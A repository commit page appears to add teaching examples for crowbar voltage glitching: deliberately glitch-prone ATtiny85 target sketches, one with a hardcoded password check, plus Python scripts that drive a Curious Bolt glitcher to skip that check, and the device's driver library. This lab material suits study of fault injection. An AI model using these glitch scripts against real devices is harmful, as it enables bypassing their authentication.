0xRoM / Hardware
Browse code
crowbar glitching blog scripts
master
1 parent c67be87 commit 673e0396de704a3609ccfb10eb8e3d1b47efde9c
root authored on 24 Mar
Patch
Unified Split
Showing 8 changed files
View
56
■■■■■
 FaultInjection/examples/CuriousBolt/Crowbar_Glitching_Blog_01/01-number_match_attiny85.ino 0 → 100644
#include <SoftwareSerial.h>
 
#define RX 3 // *** D3, Pin 2
#define TX 4 // *** D4, Pin 3
SoftwareSerial Serial(RX, TX);
 
void setup() {
Serial.begin(9600);
Serial.println(" ");
Serial.println("Initializing...");
randomSeed(analogRead(0)); // Seed the random number generator for more randomness
delay(2000); // Delay for initialization
}
 
void loop() {
// Generate one random number and assign it to both variables
volatile int originalNumber = random(10, 100);
volatile int num1 = originalNumber;
volatile int num2 = originalNumber;
 
// Perform reversible operations to increase glitch susceptibility but keep values comparable
num1 = num1 ^ 0x55; // XOR num1 with 0x55
num2 = num2 ^ 0x55; // XOR num2 with 0x55
num1 = num1 ^ 0x55; // XOR again to reverse
num2 = num2 ^ 0x55; // XOR again to reverse
 
// Extract the first and second digits
volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1
volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1
volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2
volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2
 
// Check if the numbers still match after the potential glitch
int match = 0;
if (num1FirstDigit == num2FirstDigit) {
if (num1SecondDigit == num2SecondDigit) {
match = 1;
}
}
if (match == 1) {
Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
} else {
Serial.print("Glitch detected! Numbers do not match: ");
Serial.print(num1); Serial.print(" "); Serial.print(num2);
Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
Serial.println(" ");
}
delay(100); // Shorter delay to increase glitch detection chances
}
 
View
10
■■■■■
 FaultInjection/examples/CuriousBolt/Crowbar_Glitching_Blog_01/01-number_match_glitch.py 0 → 100644
from scope import Scope
import time
 
s = Scope()
s.glitch.repeat = 4
s.glitch.ext_offset = 10
 
for _ in range(50000):
s.trigger()
View
FaultInjection/examples/CuriousBolt/Crowbar_Glitching_Blog_01/01-number_match_glitch_work.png 0 → 100644
View
73
■■■■■
 FaultInjection/examples/CuriousBolt/Crowbar_Glitching_Blog_01/02-pass_match_attiny85.ino 0 → 100644
#include <SoftwareSerial.h>
 
#define RX 3 // *** D3, Pin 2
#define TX 4 // *** D4, Pin 3
SoftwareSerial Serial(RX, TX);
 
const String correctPassword = "secure123"; // Hardcoded password
String inputString = ""; // Variable to hold user input
bool stringComplete = false; // Flag to indicate when a string is complete
bool loggedIn = false;
 
void setup() {
Serial.begin(9600);
Serial.println(" ");
Serial.println("Initializing...");
delay(200); // Delay for initialization
Serial.print("[-]> ");
}
 
void prompt(){
// Reset for the next input without checking password
inputString = "";
stringComplete = false;
if(loggedIn == false){
Serial.print("[-]"); // not logged in
}else{
Serial.print("[+]"); // logged in
}
Serial.print("> ");
}
 
void loop() {
// If the string is complete, process the input
if (stringComplete) {
// Glitch-prone section: making the comparison more complex and glitch-susceptible
volatile bool match = false; // Using 'volatile' to increase glitch vulnerability
// Check if input is "ping"
if (inputString == "ping") {
Serial.println("pong"); // Respond with "pong" if input is "ping"
prompt();
return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
}
// Now compare the user input with the hardcoded password, but with timing window
else if (inputString == correctPassword) {
match = true; // Passwords match
}
 
// Add a chance for glitches to affect this critical condition
if (match) {
Serial.println("Password correct!");
loggedIn = true;
} else {
Serial.println("Password incorrect!");
}
prompt();
}
 
// Listen for input from the user
while (Serial.available()) {
char inChar = (char)Serial.read(); // Read the incoming character
// Check if it is the return character (indicating the end of input)
if (inChar == '\r' || inChar == '\n') {
stringComplete = true;
} else {
// Append the character to the input string
inputString += inChar;
}
}
}
 
View
160
■■■■■
 FaultInjection/examples/CuriousBolt/Crowbar_Glitching_Blog_01/02-pass_match_glitch.py 0 → 100644
import sys
import time
import pexpect # Required to handle screen sessions
import threading
import argparse # Import argparse for command-line arguments
from scope import Scope
DEFAULT_COMPORT = "/dev/ttyACM0"
SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name (screen -S tty_USB0_screen /dev/ttyUSB0 9800)
# Argument parser for command-line arguments
parser = argparse.ArgumentParser(description="Fault injection script with configurable parameters.")
parser.add_argument("-g", "--glitch_repeat", type=int, default=4, dest="glitch_repeat", help="Number of times to repeat the glitch.")
parser.add_argument("-p", "--pulse_sleep", type=float, default=0.05, dest="pulse_sleep", help="Sleep time between sending commands and triggering pulse.")
parser.add_argument("-m", "--max_iterations", type=int, default=5, dest="max_iterations", help="Maximum number of attack iterations.")
 
args = parser.parse_args()
 
# Configure scope based on command-line argument
s = Scope()
s.glitch.repeat = args.glitch_repeat
# Shared variable to store the response from the device
device_response = None
child = None # Global child variable
def initialize_child():
"""Initialise the global child process for the screen session."""
global child
child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer
def send_test_message_and_read_response():
"""Send 'ping' via screen to a serial device and check for 'correct!\n' or 'incorrect\n'."""
global child
# Send 'ping' to the screen session
child.sendline("ping")
sys.stdout.write("\rSent 'ping' to screen session.")
sys.stdout.flush()
# Wait a bit to ensure the command is processed
time.sleep(0.5)
# Try reading any new output from the screen session
try:
response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data
if "pong" in response:
sys.stdout.write("\rReceived 'pong' response.")
return True
else:
sys.stdout.write(f"\rReceived unexpected response: {response}")
sys.stdout.flush()
except pexpect.exceptions.TIMEOUT:
sys.stdout.write("\rNo response received from the screen session (timeout).")
sys.stdout.flush()
return False
def read_screen_output():
"""Read output from the screen session in a separate thread."""
global device_response
buffer = "" # Initialize a buffer to store incoming characters
try:
while True:
response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data
buffer += response # Append the new response to the buffer
# Check if there's a complete line in the buffer
while "\n" in buffer:
line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline
line = line.strip() # Remove any leading/trailing whitespace
# Check for specific responses
if "incorrect!" in line:
device_response = 'incorrect'
return # Exit the loop on incorrect response
elif "correct" in line:
# Die here: Echo message, disarm device, and kill the program
sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
sys.stdout.flush()
exit() # Exit the program
else:
sys.stdout.write(f"\rReceived unexpected response: {line}")
sys.stdout.flush()
except pexpect.exceptions.TIMEOUT:
sys.stdout.write("\rNo response received from the screen session (timeout).")
sys.stdout.flush()
except Exception as e:
sys.stdout.write(f"\rError reading from screen session: {e}")
sys.stdout.flush()
def send_pulse_and_check_response():
"""Send a pulse and check for 'correct!\n' or 'incorrect\n' response in parallel."""
global device_response
try:
# Send 'incorrectPassword' command to the screen session
sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
sys.stdout.flush()
child.sendline("incorrectPassword")
# Sleep time from command-line argument
time.sleep(args.pulse_sleep)
# Send 'pulse' command (simulating the pulse trigger)
s.trigger()
sys.stdout.write("\rdropped glitch")
sys.stdout.flush()
# Start a thread to read the screen output
reader_thread = threading.Thread(target=read_screen_output)
reader_thread.start()
# Wait for the reading thread to complete
reader_thread.join()
except Exception as e:
sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
sys.stdout.flush()
return False
def start_attack():
"""Send a pulse through the FaultyCat and listen for the response concurrently."""
global child
try:
# Initialize the child process for screen session
initialize_child()
# Sending pulses and checking responses in a loop based on max_iterations argument
max_iterations = args.max_iterations
for i in range(max_iterations):
sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
sys.stdout.flush()
# Send the test message and check for pong
if send_test_message_and_read_response():
max_iterations_2 = 3
for j in range(max_iterations_2):
# Send pulse and check for correct/incorrect response
if send_pulse_and_check_response():
break # Break the loop if 'correct!' is received
# Small delay before next iteration
time.sleep(1)
except Exception as e:
sys.stdout.write(f"\rError: {e}\n")
sys.stdout.flush()
finally:
# Make sure to clean up the child process
if child:
child.close()
if __name__ == "__main__":
start_attack()
 
 
View
FaultInjection/examples/CuriousBolt/Crowbar_Glitching_Blog_01/02-pass_match_glitch_dump.png 0 → 100644
View
FaultInjection/examples/CuriousBolt/Crowbar_Glitching_Blog_01/02-pass_match_glitch_work.png 0 → 100644
View
329
■■■■■
 FaultInjection/prereqs/CuriousBolt/scope.py 0 → 100644
import logging
import serial
from serial.tools.list_ports import comports
from typing import Union, List
 
class ADCSettings():
def __init__(self, dev:serial) -> None:
self._dev = dev
self._clk_freq = 25000000
self._delay = 0
 
@property
def clk_freq(self) -> int:
"""
Get ADC CLK Frequency
"""
return self._clk_freq
@clk_freq.setter
def clk_freq(self, freq:int) -> None:
"""
Set ADC CLK Frequency, valid between 0.5kHz and 31.25MHz
"""
BASE_CLK = 250000000
pio_freq = freq*4
divider = BASE_CLK/pio_freq
integer = int(divider)
frac = int((divider-integer)*256)
if frac == 256:
frac = 0
integer += 1
self._dev.write(f":ADC:PLL {integer},{frac}\n".encode("ascii"))
self._clk_freq = BASE_CLK/(integer+frac/256)/4
@property
def delay(self) -> int:
"""
Get delay between trigger and start of sampling in cycles (8.3ns)
"""
return self._delay
@delay.setter
def delay(self, delay) -> None:
"""
Set delay between trigger and start of sampling in cycles (8.3ns)
"""
self._delay = delay
self._dev.write(f":ADC:DELAY {int(delay)}\n".encode("ascii"))
 
class GlitchSettings():
def __init__(self, dev:serial) -> None:
self._dev = dev
self._offset = 10
self._repeat = 10
 
@property
def ext_offset(self) -> int:
"""
Delay between trigger and start of glitch in cycles (8.3ns)
"""
return self._offset
@ext_offset.setter
def ext_offset(self, offset:int) -> None:
"""
Set delay between trigger and start of glitch in cycles (8.3ns)
"""
self._dev.write(f":GLITCH:DELAY {int(offset)}\n".encode("ascii"))
self._offset = offset
@property
def repeat(self) -> int:
"""Width of glitch in cycles (approx = 8.3 ns * width)"""
return self._repeat
 
@repeat.setter
def repeat(self, width:int) -> None:
"""
Set width of glitch in cycles (8.3ns)
"""
self._dev.write(f":GLITCH:LEN {int(width)}\n".encode("ascii"))
self._repeat = width
 
class GPIOSettings():
def __init__(self, dev:serial) -> None:
self.gpio = []
for i in range(0, 4):
self.gpio.append(list())
self.dev = dev
self.MAX_CHANGES = 255
self.MAX_DELAY = 2147483647
def add(self, pin:int, state:bool, delay:int=None, seconds:float=None) -> None:
"""
Add state change to gpio
 
Arguments
---------
pin : int
Which pin to add state change to, [0,3]
state : bool
What the state of the pin should be
delay : int
Number of cycles delay after state change, each cycle is 8.3ns
seconds : float
Seconds of delay after state change if delay is not provided
 
Returns
-------
None
"""
if pin < 0 or pin > 3:
raise ValueError("Pin must be between 0 and 3")
if len(self.gpio[pin]) >= self.MAX_CHANGES:
raise ValueError("Pin reached max state changes")
 
if delay is None:
if seconds is None:
raise ValueError("delay or seconds must be provided")
delay = int(seconds*100000000)
 
if delay > self.MAX_DELAY:
raise ValueError("delay exceeds maximum")
self.gpio[pin].append((delay << 1) | state)
def reset(self) -> None:
"""
Reset all GPIO state changes
 
Arguments
---------
None
 
Returns
-------
None
"""
self.dev.write(b":GPIO:RESET\n")
for i in range(0, 4):
self.gpio[i].clear()
 
def upload(self) -> None:
"""
Upload GPIO changes to device
 
Arguments
---------
None
 
Returns
-------
None
"""
self.dev.write(b":GPIO:RESET\n")
for i in range(0, 4):
for item in self.gpio[i]:
self.dev.write(f":GPIO:ADD {i},{item}\n".encode("ascii"))
 
class Scope():
RISING_EDGE = 0
FALLING_EDGE = 1
 
def __init__(self, port=None) -> None:
if port is None:
ports = comports()
matches = [p.device for p in ports if p.interface == "Curious Bolt API"]
if len(matches) != 1:
matches = [p.device for p in ports if p.product == "Curious Bolt"]
matches.sort()
matches.reverse()
if len(matches) != 2:
raise IOError('Curious Bolt device not found. Please check if it\'s connected, and pass its port explicitly if it is.')
port = matches[0]
 
self._port = port
self._dev = serial.Serial(port, 115200*10, timeout=1.0)
self._dev.reset_input_buffer()
self._dev.write(b":VERSION?\n")
data = self._dev.readline().strip()
if data is None or data == b"":
raise ValueError("Unable to connect")
print(f"Connected to version: {data.decode('ascii')}")
self.adc = ADCSettings(self._dev)
self.glitch = GlitchSettings(self._dev)
self.io = GPIOSettings(self._dev)
 
def arm(self, pin:int=0, edge:int=RISING_EDGE) -> None:
"""
Arms the glitch/gpio/adc based on trigger pin
 
Arguments
---------
pin : int
Which pin to use for trigger [0:7]
edge : int
On what edge to trigger can be RISING_EDGE or FALLING_EDGE
 
Returns
-------
None
"""
if pin < 0 or pin > 7:
raise ValueError("Pin invalid")
if edge != self.RISING_EDGE and edge != self.FALLING_EDGE:
raise ValueError("Edge invalid")
 
self._dev.write(f":TRIGGER:PIN {pin},{edge}\n".encode("ascii"))
 
def trigger(self) -> None:
"""
Immediately trigger the glitch/gpio/adc
 
Arguments
---------
None
 
Returns
-------
None
"""
self._dev.write(b":TRIGGER:NOW\n")
def default_setup(self) -> None:
"""
Load some safe defaults into settings
"""
self.glitch.repeat = 10
self.glitch.ext_offset = 0
self.adc.delay = 0
self.adc.clk_freq = 10000000
self.io.reset()
 
def con(self) -> None:
"""
Connect to device if serial port is not open
"""
if not self._dev.is_open:
self._dev.open()
 
def dis(self) -> None:
"""
Disconnect from serial port
"""
self._dev.close()
 
def get_last_trace(self, as_int:bool=False) -> Union[List[int], List[float]]:
"""
Returns the latest captured data from ADC
 
Arguments
---------
as_int : bool
Returns the data as raw 10bit value from the adc
Returns
-------
data : list<int>
"""
self._dev.reset_input_buffer() #Clear any data
self._dev.write(b":ADC:DATA?\n")
 
data = self._dev.readline()
if data is None:
return []
data = data.decode("ascii").strip()
if "ERR" in data:
logging.warning(f"Received: {data}")
return []
data = data.split(",")
data = [x for x in data if x != '']
if as_int:
return [int(x) for x in data]
volt_per_step = 2 / 10 / 1024 # 2V pk-pk, 10x amplified from source, in 10-bit ADC
return [(float(x)-512)*volt_per_step for x in data]
 
def plot_last_trace(self, continuous=False):
try:
import matplotlib.pyplot as plt
except ImportError:
print("Dependencies missing, please install python package matplotlib")
return
plt.ion()
fig = plt.figure()
ax = fig.add_subplot(111)
ax.set_xlabel("Time since trigger (us)")
ax.set_ylabel("Voltage difference (mV)")
us_per_measurement = 1e6 / self.adc.clk_freq
line, = ax.plot([float(x) * us_per_measurement for x in range(50000)], [0] * 50000, 'b-')
 
while True:
try:
res = self.get_last_trace()
if len(res) != 50000:
print(f"Got {len(res)} entries, skipping")
if continuous:
continue
else:
break
trace = [x*1000 for x in res]
line.set_ydata(trace)
ax.relim()
ax.autoscale_view()
fig.canvas.draw()
fig.canvas.flush_events()
if continuous:
self.trigger()
continue
else:
plt.show()
break
except KeyboardInterrupt:
break
 
def update(self):
self._dev.write(b":BOOTLOADER\n")
 
 
if __name__ == "__main__":
s = Scope()
s.default_setup()
s.trigger()
s.plot_last_trace(continuous=True)
Buy Me A Coffee